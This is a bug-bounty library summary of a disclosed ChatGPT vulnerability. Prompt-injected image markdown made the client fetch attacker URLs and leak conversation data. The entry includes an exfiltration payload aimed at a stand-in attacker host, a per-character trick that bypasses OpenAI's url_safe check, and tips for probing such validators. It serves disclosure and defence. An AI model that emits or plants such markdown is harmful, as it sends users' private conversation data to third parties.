# OpenAI Begins Tackling ChatGPT Data Leak Vulnerability

ChatGPT rendered attacker image markdown from prompt injection, exfiltrating conversation data to third-party servers; OpenAI added a client-side url_safe check that is bypassable.

- Payout: Research
- Severity: medium
- Program: OpenAI
- Write-up by: Johann Rehberger
- Disclosed: 2023-12-20
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2023/openai-data-exfiltration-first-mitigations-implemented/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2023-openai-data-exfiltration-first-mitigations-implemented
- Tags: area:ai domain:ai impact:data-leak kind:research platform:research sev:medium tech:llm technique:chained vuln:info-disclosure vuln:prompt-injection

**Target:** ChatGPT web app and iOS client markdown image rendering
**Root cause:** ChatGPT renders image markdown supplied via prompt injection, causing the client to fetch attacker-controlled URLs and leak conversation content; the new mitigation is a client-side url_safe API check that inconsistently allows arbitrary domains.
**Steps:**
1. Inject markdown image into conversation content: `![x](https://attacker.example/r?thief=SECRET)`
2. ChatGPT client fetches the URL, sending conversation data to attacker server
3. After mitigation, client calls `GET /backend-api/conversation/[id]/url_safe?url=<target>` and only renders if `{"safe":true}`
4. Bypass: split secret into per-character URLs like `https://wuzzi.net/img/a.png`; ~9 of 36 chars passed the check and rendered
5. iOS app 1.2023.347 lacks the check and remains fully vulnerable
**How found:** Researcher demoed data theft GPT against a consenting victim, observed server receiving conversation details, then inspected the new client-side url_safe call and probed which URLs returned safe=true vs false.
**Exploitation:** Attacker delivers prompt injection (e.g. via shared content or browsing) that embeds image markdown pointing at attacker server; victim's ChatGPT client renders it, issuing a request that carries the exfiltrated conversation data in the URL path/query.
**Escalation:** Per-character URL splitting to evade the url_safe validation, leaking secrets one character per request.
**Insight:** Client-side URL allowlist checks for rendered markdown are per-client and inconsistent; test single-character or low-entropy URL variants to find which pass the validator, and check non-web clients (iOS/Android) that may lack the check entirely.